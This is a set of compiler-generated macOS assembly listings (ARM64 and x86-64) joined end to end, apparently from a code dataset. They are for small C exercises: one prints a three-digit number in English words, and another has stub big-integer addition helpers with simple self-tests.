l_.str.13@PAGEOFF bl _printf b LBB0_26 LBB0_19: adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf b LBB0_26 LBB0_20: adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf b LBB0_26 LBB0_21: adrp x0, l_.str.16@PAGE add x0, x0, l_.str.16@PAGEOFF bl _printf b LBB0_26 LBB0_22: adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf b LBB0_26 LBB0_23: adrp x0, l_.str.18@PAGE add x0, x0, l_.str.18@PAGEOFF bl _printf b LBB0_26 LBB0_24: adrp x0, l_.str.19@PAGE add x0, x0, l_.str.19@PAGEOFF bl _printf b LBB0_26 LBB0_25: adrp x0, l_.str.20@PAGE add x0, x0, l_.str.20@PAGEOFF bl _printf b LBB0_26 LBB0_26: stur wzr, [x29, #-4] b LBB0_47 LBB0_27: adrp x0, l_.str.21@PAGE add x0, x0, l_.str.21@PAGEOFF bl _printf b LBB0_35 LBB0_28: adrp x0, l_.str.22@PAGE add x0, x0, l_.str.22@PAGEOFF bl _printf b LBB0_35 LBB0_29: adrp x0, l_.str.23@PAGE add x0, x0, l_.str.23@PAGEOFF bl _printf b LBB0_35 LBB0_30: adrp x0, l_.str.24@PAGE add x0, x0, l_.str.24@PAGEOFF bl _printf b LBB0_35 LBB0_31: adrp x0, l_.str.25@PAGE add x0, x0, l_.str.25@PAGEOFF bl _printf b LBB0_35 LBB0_32: adrp x0, l_.str.26@PAGE add x0, x0, l_.str.26@PAGEOFF bl _printf b LBB0_35 LBB0_33: adrp x0, l_.str.27@PAGE add x0, x0, l_.str.27@PAGEOFF bl _printf b LBB0_35 LBB0_34: adrp x0, l_.str.28@PAGE add x0, x0, l_.str.28@PAGEOFF bl _printf b LBB0_35 LBB0_35: ldur w8, [x29, #-16] mov w10, #10 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 ; kill: def $x8 killed $w8 str x8, [sp, #32] ; 8-byte Folded Spill subs x8, x8, #9 cset w8, hi tbnz w8, #0, LBB0_47 ; %bb.36: ldr x11, [sp, #32] ; 8-byte Folded Reload adrp x10, lJTI0_3@PAGE add x10, x10, lJTI0_3@PAGEOFF Ltmp3: adr x8, Ltmp3 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB0_37: b LBB0_47 LBB0_38: adrp x0, l_.str.29@PAGE add x0, x0, l_.str.29@PAGEOFF bl _printf b LBB0_47 LBB0_39: adrp x0, l_.str.30@PAGE add x0, x0, l_.str.30@PAGEOFF bl _printf b LBB0_47 LBB0_40: adrp x0, l_.str.31@PAGE add x0, x0, l_.str.31@PAGEOFF bl _printf b LBB0_47 LBB0_41: adrp x0, l_.str.32@PAGE add x0, x0, l_.str.32@PAGEOFF bl _printf b LBB0_47 LBB0_42: adrp x0, l_.str.33@PAGE add x0, x0, l_.str.33@PAGEOFF bl _printf b LBB0_47 LBB0_43: adrp x0, l_.str.34@PAGE add x0, x0, l_.str.34@PAGEOFF bl _printf b LBB0_47 LBB0_44: adrp x0, l_.str.35@PAGE add x0, x0, l_.str.35@PAGEOFF bl _printf b LBB0_47 LBB0_45: adrp x0, l_.str.36@PAGE add x0, x0, l_.str.36@PAGEOFF bl _printf b LBB0_47 LBB0_46: adrp x0, l_.str.37@PAGE add x0, x0, l_.str.37@PAGEOFF bl _printf b LBB0_47 LBB0_47: ldur w0, [x29, #-4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc .p2align 2 lJTI0_0: .long LBB0_2-Ltmp0 .long LBB0_3-Ltmp0 .long LBB0_4-Ltmp0 .long LBB0_5-Ltmp0 .long LBB0_6-Ltmp0 .long LBB0_7-Ltmp0 .long LBB0_8-Ltmp0 .long LBB0_9-Ltmp0 .long LBB0_10-Ltmp0 .p2align 2 lJTI0_1: .long LBB0_13-Ltmp1 .long LBB0_14-Ltmp1 .long LBB0_27-Ltmp1 .long LBB0_28-Ltmp1 .long LBB0_29-Ltmp1 .long LBB0_30-Ltmp1 .long LBB0_31-Ltmp1 .long LBB0_32-Ltmp1 .long LBB0_33-Ltmp1 .long LBB0_34-Ltmp1 .p2align 2 lJTI0_2: .long LBB0_16-Ltmp2 .long LBB0_17-Ltmp2 .long LBB0_18-Ltmp2 .long LBB0_19-Ltmp2 .long LBB0_20-Ltmp2 .long LBB0_21-Ltmp2 .long LBB0_22-Ltmp2 .long LBB0_23-Ltmp2 .long LBB0_24-Ltmp2 .long LBB0_25-Ltmp2 .p2align 2 lJTI0_3: .long LBB0_37-Ltmp3 .long LBB0_38-Ltmp3 .long LBB0_39-Ltmp3 .long LBB0_40-Ltmp3 .long LBB0_41-Ltmp3 .long LBB0_42-Ltmp3 .long LBB0_43-Ltmp3 .long LBB0_44-Ltmp3 .long LBB0_45-Ltmp3 .long LBB0_46-Ltmp3 ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "enter 3 digit number\n" l_.str.1: ; @.str.1 .asciz "%1d%1d%1d" l_.str.2: ; @.str.2 .asciz " One hundred" l_.str.3: ; @.str.3 .asciz " Two hundred" l_.str.4: ; @.str.4 .asciz " Three hundred" l_.str.5: ; @.str.5 .asciz " Four hundred" l_.str.6: ; @.str.6 .asciz " Five hundred" l_.str.7: ; @.str.7 .asciz " Six hundred" l_.str.8: ; @.str.8 .asciz " Seven hundred" l_.str.9: ; @.str.9 .asciz " Eight hundred" l_.str.10: ; @.str.10 .asciz " Nine hundred" l_.str.11: ; @.str.11 .asciz " ten" l_.str.12: ; @.str.12 .asciz " eleven" l_.str.13: ; @.str.13 .asciz " twelve" l_.str.14: ; @.str.14 .asciz "thirteen" l_.str.15: ; @.str.15 .asciz " fourteen" l_.str.16: ; @.str.16 .asciz " fifteen" l_.str.17: ; @.str.17 .asciz " sixteen" l_.str.18: ; @.str.18 .asciz " seventeen" l_.str.19: ; @.str.19 .asciz " eighteen" l_.str.20: ; @.str.20 .asciz " nineteen" l_.str.21: ; @.str.21 .asciz " tewnty" l_.str.22: ; @.str.22 .asciz " thirty" l_.str.23: ; @.str.23 .asciz " fourty" l_.str.24: ; @.str.24 .asciz " fifty" l_.str.25: ; @.str.25 .asciz " sixty" l_.str.26: ; @.str.26 .asciz " seventy" l_.str.27: ; @.str.27 .asciz " eighty" l_.str.28: ; @.str.28 .asciz " ninety" l_.str.29: ; @.str.29 .asciz " one" l_.str.30: ; @.str.30 .asciz " two" l_.str.31: ; @.str.31 .asciz " three" l_.str.32: ; @.str.32 .asciz " four" l_.str.33: ; @.str.33 .asciz " five" l_.str.34: ; @.str.34 .asciz " six" l_.str.35: ; @.str.35 .asciz " seven" l_.str.36: ; @.str.36 .asciz " eight" l_.str.37: ; @.str.37 .asciz " nine" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi xorl %eax, %eax ## kill: def $al killed $al killed $eax movb %al, -25(%rbp) ## 1-byte Spill callq _printf ## kill: def $ecx killed $eax movb -25(%rbp), %al ## 1-byte Reload leaq L_.str.1(%rip), %rdi leaq -8(%rbp), %rsi leaq -12(%rbp), %rdx leaq -16(%rbp), %rcx callq _scanf movslq -8(%rbp), %rax movl %eax, %ecx imulq $1717986919, %rax, %rdx ## imm = 0x66666667 movq %rdx, %rax shrq $63, %rax ## kill: def $eax killed $eax killed $rax sarq $34, %rdx ## kill: def $edx killed $edx killed $rdx addl %eax, %edx addl %edx, %edx ## implicit-def: $rax movl %edx, %eax leal (%rax,%rax,4), %eax notl %eax addl %ecx, %eax movl %eax, %ecx movq %rcx, -24(%rbp) ## 8-byte Spill subl $8, %eax ja LBB0_10 ## %bb.44: movq -24(%rbp), %rax ## 8-byte Reload leaq LJTI0_0(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB0_1: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_2: leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_3: leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_4: leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_5: leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_6: leaq L_.str.7(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_7: leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_8: leaq L_.str.9(%rip), %rdi movb $0, %al callq _printf jmp LBB0_10 LBB0_9: leaq L_.str.10(%rip), %rdi movb $0, %al callq _printf LBB0_10: movslq -12(%rbp), %rcx movl %ecx, %eax imulq $1717986919, %rcx, %rdx ## imm = 0x66666667 movq %rdx, %rcx shrq $63, %rcx ## kill: def $ecx killed $ecx killed $rcx sarq $34, %rdx ## kill: def $edx killed $edx killed $rdx addl %ecx, %edx addl %edx, %edx ## implicit-def: $rcx movl %edx, %ecx leal (%rcx,%rcx,4), %ecx subl %ecx, %eax movl %eax, %ecx movq %rcx, -40(%rbp) ## 8-byte Spill subl $9, %eax ja LBB0_32 ## %bb.45: movq -40(%rbp), %rax ## 8-byte Reload leaq LJTI0_1(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB0_11: jmp LBB0_32 LBB0_12: movslq -16(%rbp), %rcx movl %ecx, %eax imulq $1717986919, %rcx, %rdx ## imm = 0x66666667 movq %rdx, %rcx shrq $63, %rcx ## kill: def $ecx killed $ecx killed $rcx sarq $34, %rdx ## kill: def $edx killed $edx killed $rdx addl %ecx, %edx addl %edx, %edx ## implicit-def: $rcx movl %edx, %ecx leal (%rcx,%rcx,4), %ecx subl %ecx, %eax movl %eax, %ecx movq %rcx, -48(%rbp) ## 8-byte Spill subl $9, %eax ja LBB0_23 ## %bb.46: movq -48(%rbp), %rax ## 8-byte Reload leaq LJTI0_2(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB0_13: leaq L_.str.11(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_14: leaq L_.str.12(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_15: leaq L_.str.13(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_16: leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_17: leaq L_.str.15(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_18: leaq L_.str.16(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_19: leaq L_.str.17(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_20: leaq L_.str.18(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_21: leaq L_.str.19(%rip), %rdi movb $0, %al callq _printf jmp LBB0_23 LBB0_22: leaq L_.str.20(%rip), %rdi movb $0, %al callq _printf LBB0_23: movl $0, -4(%rbp) jmp LBB0_43 LBB0_24: leaq L_.str.21(%rip), %rdi movb $0, %al callq _printf jmp LBB0_32 LBB0_25: leaq L_.str.22(%rip), %rdi movb $0, %al callq _printf jmp LBB0_32 LBB0_26: leaq L_.str.23(%rip), %rdi movb $0, %al callq _printf jmp LBB0_32 LBB0_27: leaq L_.str.24(%rip), %rdi movb $0, %al callq _printf jmp LBB0_32 LBB0_28: leaq L_.str.25(%rip), %rdi movb $0, %al callq _printf jmp LBB0_32 LBB0_29: leaq L_.str.26(%rip), %rdi movb $0, %al callq _printf jmp LBB0_32 LBB0_30: leaq L_.str.27(%rip), %rdi movb $0, %al callq _printf jmp LBB0_32 LBB0_31: leaq L_.str.28(%rip), %rdi movb $0, %al callq _printf LBB0_32: movslq -16(%rbp), %rcx movl %ecx, %eax imulq $1717986919, %rcx, %rdx ## imm = 0x66666667 movq %rdx, %rcx shrq $63, %rcx ## kill: def $ecx killed $ecx killed $rcx sarq $34, %rdx ## kill: def $edx killed $edx killed $rdx addl %ecx, %edx addl %edx, %edx ## implicit-def: $rcx movl %edx, %ecx leal (%rcx,%rcx,4), %ecx subl %ecx, %eax movl %eax, %ecx movq %rcx, -56(%rbp) ## 8-byte Spill subl $9, %eax ja LBB0_43 ## %bb.47: movq -56(%rbp), %rax ## 8-byte Reload leaq LJTI0_3(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB0_33: jmp LBB0_43 LBB0_34: leaq L_.str.29(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_35: leaq L_.str.30(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_36: leaq L_.str.31(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_37: leaq L_.str.32(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_38: leaq L_.str.33(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_39: leaq L_.str.34(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_40: leaq L_.str.35(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_41: leaq L_.str.36(%rip), %rdi movb $0, %al callq _printf jmp LBB0_43 LBB0_42: leaq L_.str.37(%rip), %rdi movb $0, %al callq _printf LBB0_43: movl -4(%rbp), %eax addq $64, %rsp popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_1, LBB0_1-LJTI0_0 .set L0_0_set_2, LBB0_2-LJTI0_0 .set L0_0_set_3, LBB0_3-LJTI0_0 .set L0_0_set_4, LBB0_4-LJTI0_0 .set L0_0_set_5, LBB0_5-LJTI0_0 .set L0_0_set_6, LBB0_6-LJTI0_0 .set L0_0_set_7, LBB0_7-LJTI0_0 .set L0_0_set_8, LBB0_8-LJTI0_0 .set L0_0_set_9, LBB0_9-LJTI0_0 LJTI0_0: .long L0_0_set_1 .long L0_0_set_2 .long L0_0_set_3 .long L0_0_set_4 .long L0_0_set_5 .long L0_0_set_6 .long L0_0_set_7 .long L0_0_set_8 .long L0_0_set_9 .set L0_1_set_11, LBB0_11-LJTI0_1 .set L0_1_set_12, LBB0_12-LJTI0_1 .set L0_1_set_24, LBB0_24-LJTI0_1 .set L0_1_set_25, LBB0_25-LJTI0_1 .set L0_1_set_26, LBB0_26-LJTI0_1 .set L0_1_set_27, LBB0_27-LJTI0_1 .set L0_1_set_28, LBB0_28-LJTI0_1 .set L0_1_set_29, LBB0_29-LJTI0_1 .set L0_1_set_30, LBB0_30-LJTI0_1 .set L0_1_set_31, LBB0_31-LJTI0_1 LJTI0_1: .long L0_1_set_11 .long L0_1_set_12 .long L0_1_set_24 .long L0_1_set_25 .long L0_1_set_26 .long L0_1_set_27 .long L0_1_set_28 .long L0_1_set_29 .long L0_1_set_30 .long L0_1_set_31 .set L0_2_set_13, LBB0_13-LJTI0_2 .set L0_2_set_14, LBB0_14-LJTI0_2 .set L0_2_set_15, LBB0_15-LJTI0_2 .set L0_2_set_16, LBB0_16-LJTI0_2 .set L0_2_set_17, LBB0_17-LJTI0_2 .set L0_2_set_18, LBB0_18-LJTI0_2 .set L0_2_set_19, LBB0_19-LJTI0_2 .set L0_2_set_20, LBB0_20-LJTI0_2 .set L0_2_set_21, LBB0_21-LJTI0_2 .set L0_2_set_22, LBB0_22-LJTI0_2 LJTI0_2: .long L0_2_set_13 .long L0_2_set_14 .long L0_2_set_15 .long L0_2_set_16 .long L0_2_set_17 .long L0_2_set_18 .long L0_2_set_19 .long L0_2_set_20 .long L0_2_set_21 .long L0_2_set_22 .set L0_3_set_33, LBB0_33-LJTI0_3 .set L0_3_set_34, LBB0_34-LJTI0_3 .set L0_3_set_35, LBB0_35-LJTI0_3 .set L0_3_set_36, LBB0_36-LJTI0_3 .set L0_3_set_37, LBB0_37-LJTI0_3 .set L0_3_set_38, LBB0_38-LJTI0_3 .set L0_3_set_39, LBB0_39-LJTI0_3 .set L0_3_set_40, LBB0_40-LJTI0_3 .set L0_3_set_41, LBB0_41-LJTI0_3 .set L0_3_set_42, LBB0_42-LJTI0_3 LJTI0_3: .long L0_3_set_33 .long L0_3_set_34 .long L0_3_set_35 .long L0_3_set_36 .long L0_3_set_37 .long L0_3_set_38 .long L0_3_set_39 .long L0_3_set_40 .long L0_3_set_41 .long L0_3_set_42 .end_data_region ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "enter 3 digit number\n" L_.str.1: ## @.str.1 .asciz "%1d%1d%1d" L_.str.2: ## @.str.2 .asciz " One hundred" L_.str.3: ## @.str.3 .asciz " Two hundred" L_.str.4: ## @.str.4 .asciz " Three hundred" L_.str.5: ## @.str.5 .asciz " Four hundred" L_.str.6: ## @.str.6 .asciz " Five hundred" L_.str.7: ## @.str.7 .asciz " Six hundred" L_.str.8: ## @.str.8 .asciz " Seven hundred" L_.str.9: ## @.str.9 .asciz " Eight hundred" L_.str.10: ## @.str.10 .asciz " Nine hundred" L_.str.11: ## @.str.11 .asciz " ten" L_.str.12: ## @.str.12 .asciz " eleven" L_.str.13: ## @.str.13 .asciz " twelve" L_.str.14: ## @.str.14 .asciz "thirteen" L_.str.15: ## @.str.15 .asciz " fourteen" L_.str.16: ## @.str.16 .asciz " fifteen" L_.str.17: ## @.str.17 .asciz " sixteen" L_.str.18: ## @.str.18 .asciz " seventeen" L_.str.19: ## @.str.19 .asciz " eighteen" L_.str.20: ## @.str.20 .asciz " nineteen" L_.str.21: ## @.str.21 .asciz " tewnty" L_.str.22: ## @.str.22 .asciz " thirty" L_.str.23: ## @.str.23 .asciz " fourty" L_.str.24: ## @.str.24 .asciz " fifty" L_.str.25: ## @.str.25 .asciz " sixty" L_.str.26: ## @.str.26 .asciz " seventy" L_.str.27: ## @.str.27 .asciz " eighty" L_.str.28: ## @.str.28 .asciz " ninety" L_.str.29: ## @.str.29 .asciz " one" L_.str.30: ## @.str.30 .asciz " two" L_.str.31: ## @.str.31 .asciz " three" L_.str.32: ## @.str.32 .asciz " four" L_.str.33: ## @.str.33 .asciz " five" L_.str.34: ## @.str.34 .asciz " six" L_.str.35: ## @.str.35 .asciz " seven" L_.str.36: ## @.str.36 .asciz " eight" L_.str.37: ## @.str.37 .asciz " nine" .subsections_via_symbols
the_stack_data/1207225.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _reverse_string ; -- Begin function reverse_string .p2align 2 _reverse_string: ; @reverse_string .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str x0, [sp, #8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _ctoi ; -- Begin function ctoi .p2align 2 _ctoi: ; @ctoi .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 sturb w0, [x29, #-1] ldursb w0, [x29, #-1] bl _isdigit subs w8, w0, #0 cset w9, eq ; implicit-def: $x8 mov x8, x9 ands x8, x8, #0x1 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: adrp x0, l___func__.ctoi@PAGE add x0, x0, l___func__.ctoi@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF mov w2, #46 adrp x3, l_.str.2@PAGE add x3, x3, l_.str.2@PAGEOFF bl ___assert_rtn LBB1_2: b LBB1_3 LBB1_3: ldursb w8, [x29, #-1] subs w0, w8, #48 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _itoc ; -- Begin function itoc .p2align 2 _itoc: ; @itoc .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] mov w0, #48 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _add_digits ; -- Begin function add_digits .p2align 2 _add_digits: ; @add_digits .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 strb w0, [sp, #31] strb w1, [sp, #30] strb w2, [sp, #29] str x3, [sp, #16] str x4, [sp, #8] add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _add_bigint ; -- Begin function add_bigint .p2align 2 _add_bigint: ; @add_bigint .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] sturb w2, [x29, #-17] str x3, [sp, #32] mov w8, #1 str w8, [sp, #24] str w8, [sp, #20] str w8, [sp, #16] ldur x8, [x29, #-8] ldrsb w8, [x8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB4_2 b LBB4_1 LBB4_1: mov w8, #48 strb w8, [sp, #15] str wzr, [sp, #24] b LBB4_3 LBB4_2: ldur x8, [x29, #-8] ldrb w8, [x8] strb w8, [sp, #15] b LBB4_3 LBB4_3: ldur x8, [x29, #-16] ldrsb w8, [x8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB4_5 b LBB4_4 LBB4_4: mov w8, #48 strb w8, [sp, #14] str wzr, [sp, #20] b LBB4_6 LBB4_5: ldur x8, [x29, #-16] ldrb w8, [x8] strb w8, [sp, #14] b LBB4_6 LBB4_6: ldrsb w0, [sp, #15] ldrsb w1, [sp, #14] ldursb w2, [x29, #-17] add x3, sp, #31 add x4, sp, #30 bl _add_digits ldrsb w8, [sp, #31] subs w8, w8, #48 cset w8, ne tbnz w8, #0, LBB4_9 b LBB4_7 LBB4_7: ldrsb w8, [sp, #30] subs w8, w8, #48 cset w8, ne tbnz w8, #0, LBB4_9 b LBB4_8 LBB4_8: ldr x8, [sp, #32] strb wzr, [x8] b LBB4_10 LBB4_9: ldrb w8, [sp, #31] ldr x9, [sp, #32] strb w8, [x9] ldur x8, [x29, #-8] ldrsw x9, [sp, #24] add x0, x8, x9 ldur x8, [x29, #-16] ldrsw x9, [sp, #20] add x1, x8, x9 ldrsb w2, [sp, #30] ldr x8, [sp, #32] ldrsw x9, [sp, #16] add x3, x8, x9 bl _add_bigint b LBB4_10 LBB4_10: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _print_bigint ; -- Begin function print_bigint .p2align 2 _print_bigint: ; @print_bigint .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x8, [x29, #-8] ldrb w8, [x8] sturb w8, [x29, #-9] ldursb w8, [x29, #-9] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB5_2 b LBB5_1 LBB5_1: b LBB5_3 LBB5_2: ldur x8, [x29, #-8] add x0, x8, #1 bl _print_bigint ldursb w10, [x29, #-9] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB5_3 LBB5_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _make_bigint ; -- Begin function make_bigint .p2align 2 _make_bigint: ; @make_bigint .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x0, [sp, #8] bl _reverse_string str x0, [sp] ldr x0, [sp] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_reverse_string ; -- Begin function test_reverse_string .p2align 2 _test_reverse_string: ; @test_reverse_string .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, l_.str.4@PAGE add x8, x8, l_.str.4@PAGEOFF str x8, [sp, #8] ldr x0, [sp, #8] bl _reverse_string str x0, [sp] ldr x0, [sp] adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB7_2 b LBB7_1 LBB7_1: adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf b LBB7_3 LBB7_2: adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf b LBB7_3 LBB7_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_itoc ; -- Begin function test_itoc .p2align 2 _test_itoc: ; @test_itoc .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w0, #3 bl _itoc sturb w0, [x29, #-1] ldursb w8, [x29, #-1] subs w8, w8, #51 cset w8, ne tbnz w8, #0, LBB8_2 b LBB8_1 LBB8_1: adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf b LBB8_3 LBB8_2: adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _printf b LBB8_3 LBB8_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_add_digits ; -- Begin function test_add_digits .p2align 2 _test_add_digits: ; @test_add_digits .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w0, #55 mov w1, #52 mov w2, #49 sub x3, x29, #1 sub x4, x29, #2 bl _add_digits ldursb w8, [x29, #-1] subs w8, w8, #50 cset w8, ne tbnz w8, #0, LBB9_3 b LBB9_1 LBB9_1: ldursb w8, [x29, #-2] subs w8, w8, #49 cset w8, ne tbnz w8, #0, LBB9_3 b LBB9_2 LBB9_2: adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf b LBB9_4 LBB9_3: adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf b LBB9_4 LBB9_4: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _test_add_bigint ; -- Begin function test_add_bigint .p2align 2 _test_add_bigint: ; @test_add_bigint .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, l_.str.12@PAGE add x8, x8, l_.str.12@PAGEOFF stur x8, [x29, #-8] adrp x8, l_.str.13@PAGE add x8, x8, l_.str.13@PAGEOFF stur x8, [x29, #-16] adrp x8, l_.str.14@PAGE add x8, x8, l_.str.14@PAGEOFF str x8, [sp, #24] ldur x0, [x29, #-8] bl _make_bigint str x0, [sp, #16] ldur x0, [x29, #-16] bl _make_bigint str x0, [sp, #8] mov x0, #100 bl _malloc str x0, [sp] ldr x0, [sp, #16] ldr x1, [sp, #8] ldr x3, [sp] mov w2, #48 bl _add_bigint ldr x0, [sp] ldr x1, [sp, #24] bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB10_2 b LBB10_1 LBB10_1: adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf b LBB10_3 LBB10_2: adrp x0, l_.str.16@PAGE add x0, x0, l_.str.16@PAGEOFF bl _printf b LBB10_3 LBB10_3: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #12] ; 4-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] str x1, [sp, #16] bl _test_reverse_string bl _test_itoc bl _test_add_digits ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .space 1 l___func__.ctoi: ; @__func__.ctoi .asciz "ctoi" l_.str.1: ; @.str.1 .asciz "150143348.c" l_.str.2: ; @.str.2 .asciz "isdigit(c)" l_.str.3: ; @.str.3 .asciz "%c" l_.str.4: ; @.str.4 .asciz "123" 